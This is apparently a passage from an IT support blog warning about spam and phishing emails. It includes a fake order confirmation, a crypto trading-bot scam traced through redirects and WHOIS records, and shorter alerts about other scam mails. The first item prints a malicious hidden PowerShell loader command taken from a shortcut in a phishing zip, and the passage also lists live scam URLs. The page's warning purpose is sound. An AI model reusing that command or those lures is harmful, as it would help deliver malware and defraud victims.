Spam Warning: Your Name, Pack(50RM_84248) confirmed: 7 items sent

This email has been assembled by sourcing information from your personal history online, in this example they have sourced an old telephone number from somewhere, probably sold to them by our local council.

From:                                                       Direct <theo-letran@glampiny.com>

Sent:                                                         Thursday, August 9, 2018 6:35 AM

To:                                                            Receipent

Subject:                                                   Your Name, Pack(50RM_84248) confirmed: 7 items sent

 

Order Acknowledgment Dear Your name, Your order is now confirmed. Thanks for shopping with us!   Billing Address: Your Name  Your Telephone Number Postcode  Your Order Reference: 50RM_84248 Order Date: 8/9/2018 Delivery Address: Your Name Your Telephone Number Postcode Your Order 50RM_84248 available here Your right to cancel: In addition to the EU and UK Distance Selling Regulations, we offer you 30 days to change your mind on any purchase. To cancel the order, please complete the enclosed returns slip and return the item(s) to us at the address that is on the returns slip. We recommend that you use a recorded delivery service. Please note that you are responsible for the costs of returning the items to us unless the goods delivered are incorrect or faulty. In this case, you will be credited for the cost of your return up to a reasonable amount. As soon as we receive your item(s) the returns procedure will be initiated and refunds will be processed.

 

 

The hyperlink 'Your Order 50RM_84248 available here' actually links to: https://kocobanana.com/.orderdetails/50RM_84248-confirmation which is presumably a genuine website as it has a certificate but it simply forwards you to: https://support.office.com/office-training-center?wt.mc_id=AID573689_QSG_184686 which is presumably not an association that Microsoft enjoy. 

The actual link downloads a zip file:

 

The contents of the zip file are as follows:

 

 

And when extracted, reveal:

 

 

The image just being a Google Pay image:

 

 

And the shortcut linking to:

 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -wind hidden -c cd %USERPROFILE%\Documents; findstr /s fildunare ..\*.lnk > desktop.ps1;.\desktop.ps1;exit

 

As we can see, this is another Windows Powershell command but one which which we cannot make head or tail of - fildunare is not a term which any of us recognise, so any light anyone can shed would be most welcome.

Either way, it is attempting to find the string fildunare  with a .lnk extension in your documents and invokes desktop.ps1 which doesn't actually seem to be included with any version of Windows and so is a bit of a mystery.

 

Either way, make sure that .ps1 files are blocked inside of attachments, especially archive files, and this will not be an issue.

The originating email domain - glampiny.com - does not seem to be a website either so block that domain from your email server.

Spam Warning: You received notification from DocuSign Signature Service 

You may see the following email, purportedly from DocuSign. We have seen it being captured by most spam guards but also getting through many on other occasions.

Internal Revenue Service - Spam Warning !

Watch out for more free money!

This email has been received this week:

Ooh, a tax refund!! SPAM - (1) New message from GB Revenue and Taxes.

This email has been received this week at sircles spam catcher:

-

Spam Warning: Important Docs Secured ShareFile Attachment

Watch out for this email doing the rounds this week:

Amazon Spam Warning - Authorization of Account Details

We have seen this email passing through htomail and outlook defences:

SPAM: yourdomain.com Final Extension

Another domain renewal scam is circulating this week.

The format is the same as usual - danger, danger danger, about to expire, your domain, final warning etc.

Then right at the bottom it says something like:

Failure to make payment may result in account closing (making it difficult for your customers and your friends to locate you, using search engines on the web).

So it is actually a service to submit you to search engines.

Well there is only really one search engine unfortunately, although Ecosia's plan is a good one, so there is no need to pay someone to submit your pages. Google are quite capable of finding you themselves.

The email arrives as:

SECURITY ALERT - Tesco Bank Spam Scam

Beware of these fake Tesco spam emails:

Electronic Intuit  Message - Spam Alert!

watch out for this spam QuickBooks message:

INTUITNEWTEST

🤖 Cryptocurrency Auto Trading Robot Beta made Scage rich! SPAM!!!

Beware of the latest brand of spammers who bring together two elements of the modern financial world - Cryptocurrency and Artificial Intelligence.

They claim to have AI computers that deal in cryptocurrency on your behalf and so make you huge sums of money.

These supposed companies - invariably they are registered on an island in the Caribbean - offer to get these computers to deal on your behalf day and night in order to increase your capital.

Before you invest with anyone, get opinions from a finance professional so that you can be sure that you are not about to be ripped-off.

If we take a look at this con, we can see a few elements that are typical in their setup.

First they use email to entrap - 

As you can see the email arrives from: 

Cryptocurrency Robot Augustine <augustine_116@www.cryptotraderuk.cf>

And the email reads:

* Beta Test Invitation *

 Your invitation code: DFlgiYtv4216

 This amazing Cryptocurrency AUTO TRADING robot can make you rich!

 Do you know Bitcoin? Ethereum? Ever heard about Ripple? Cryptocurrencies is the future! While the market is growing fast, this is the best opportunity to take advantage and earn a million or two this year!

http://www.cryptotraderuk.cf/invite/cUk4WFG0bid1L

Auto Trading software utilizes special alghoritms and artificial intelligence to trade cryptocurrencies while you sleep!

Just imagine waking up every day and see 2-3k GBP on your account!

 First results are amazing - join us while registration is still open!

http://www.cryptotraderuk.cf/invite/cUk4WFG0bid1L

 Auto Trading is a way to get rich in 2018!

 Use the invitation code above to receive an extra 1,000 GBP after registration!

Click this link to start trading:

http://www.cryptotraderuk.cf/invite/cUk4WFG0bid1L

Don't wait before it's too late!

You will thank me later!

Cheers,

Augustine

---------------------------------------------------------------------------

--

This message has been sent automatically because scage@letsignit.com has requested us to send you this invitation.

Sender IP address: 51.185.158.173

The country code CF is for the Central African Republic and is not a likely source for someone recommending crypto-currency trading in the UK.

Now let's have a look at the site itself from http://www.cryptotraderuk.cf/invite/cUk4WFG0bid1L 

We appear to have been forwarded to https://cryptocode.online/ which is obviously a way of making you think you are still looking at a company in your own country.

If we run a Who.is to lookup who owns this site we see:

Domain Profile

Registrant Country	CN
Registrar	ERANET INTERNATIONAL LIMITED  IANA ID: 1868  URL: http://www.now.cn/  Whois Server: whois.todaynic.com    (p)
Registrar Status	serverTransferProhibited, clientTransferProhibited
Dates	29 days old Created on 2018-04-30 Expires on 2019-04-30 Updated on 2018-05-05
Name Servers	ANDY.NS.CLOUDFLARE.COM (has 7,758,752 domains) ZITA.NS.CLOUDFLARE.COM (has 7,758,752 domains)
Tech Contact	—
IP Address	77.87.77.124 - 4 other sites hosted on this server
IP Location	- Lodzkie - Radomsko - Euronet S.c. Jacek Majak Aleksandra Kuc
ASN	AS197226 SPRINT-SDC, PL (registered Aug 17, 2010)

So immediately we notice that this site has been thrown together using a simple template and they haven't even bothered changing most of the icons and photo before publishing. Whoever Derrick Simmons CEO is, his photo and name are undoubtedly a fake.

If we look further down the page:

This site is not affiliated in any way with Time Magazine, Forbes or CNN - be extremely careful of any site that you arrive at from email.

No one has just 'won' $4576 USD - this site is not even offering a lottery.

Notice it is a secured version of the site at: http://smartcryptocode.com 

Cryptocode.online is a secure site, so it is obviously an improvement of the above site...

If we enter our details in one of the endless pop-up requests for our email and name, we are taken to: https://www.365markets.com/ 

Now this is a website requesting money to be deposited which means that it is extremely dangerous and you should not enter any personal or banking details at any time. 

The company is registered in Bulgaria, at R.A. Hadzhi Dimitar bl., 113., en A., fl. 4, app 8, Sofia 1510, Bulgaria but their live chat is not functioning now - 5pm their time - in the working week.

There is a phone number in Bulgaria which I will not call but these are required to keep the website open under EU and Bulgarian law.

If we look at the security of this secured site - It is a Cloudflare SSL certificate with sni65230.cloudflaressl.com as it's actual name. Then the following sites are added as an alternative name: